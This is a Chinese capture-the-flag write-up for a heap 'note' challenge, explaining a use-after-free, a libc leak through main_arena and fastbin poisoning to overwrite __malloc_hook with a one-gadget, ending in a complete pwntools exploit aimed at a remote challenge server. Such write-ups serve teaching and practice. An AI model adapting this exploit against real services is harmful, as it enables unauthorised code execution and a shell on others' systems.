CGCTF-note

入门堆题,没入门的我看了很久才弄出来。

简单分析

一个简单的note程序:

1
2
3
4
5
6
1.add
2.show
3.edit
4.delete
5.exit
choice>>

通过ida分析发现没有堆溢出,但是delete的时候指针没有置零,存在UAF。

开启了pie,所以大致思路是泄漏出libc的真实地址然后修改malloc_hook来执行onegadget。

泄漏libc真实地址

先分配两个chunk,第一个chunk大小要大于会置入fastbin的范围,第二个随意,然后delete第一个,其fd和bk指针就会指向main_arena+88,此时因为UAF,使用show功能就可以得到main_arena+88的真实地址。

通过main_arena+88在libc文件中的偏移,就可以得到libc的真实基址。

修改malloc_hook

在调用malloc函数时,程序会对malloc_hook进行检查,如果不为0,就会调用malloc_hook指向的函数,借此调用onegadget。

fastbin是一个单链表,其fd指针会指向下一个可分配的chunk。利用UAF修改掉最后并进fastbin中的chunk的fd指针,使其指向任意地址,这样之后第二次malloc出的chunk就会出现在任意地址上,从而实现任意地址写。

但是在malloc之前,程序会对要分配的地址进行检查,如果没有对应size的chunk,就不会在此处分配,所以要对这个地址进行构造,利用gdb查看内存了解如何构造。

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#sh=process("./note3")
#libc=ELF("./libc-2.24.so")
sh=remote("45.76.173.177",6666)
elf=ELF("./note3")
def add(size,content):
sh.recvuntil("choice>>")
sh.sendline("1")
sh.recvuntil("Size:")
sh.sendline(str(size))
sh.recvuntil("Content:")
sh.sendline(content)
def show(index):
sh.recvuntil("choice>>")
sh.sendline("2")
sh.recvuntil("Index:")
sh.sendline(str(index))
def edit(index,content):
sh.recvuntil("choice>>")
sh.sendline("3")
sh.recvuntil("Index:")
sh.sendline(str(index))
sh.sendline(content)
def delete(index):
sh.recvuntil("choice>>")
sh.sendline("4")
sh.recvuntil("Index:")
sh.sendline(str(index))
add(136,'aaaaaaaaabcdefgh')
add(136,'')
delete(0)
show(0)
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x397b00-88
onegadget=libc_base+0xd694f
malloc_hook=libc_base+0x397b00-0x10
add(96,'\x22'*16)
delete(2)
edit(2,p64(malloc_hook-0x23))
add(96,'')
add(96,'\x00'*19+p64(onegadget))
sh.recvuntil("choice>>") sh.sendline("1") sh.recvuntil("Size:") sh.sendline('1')
sh.interactive()
文章目录
  1. 1. 简单分析
  2. 2. 泄漏libc真实地址
  3. 3. 修改malloc_hook
  4. 4. 最终exp
|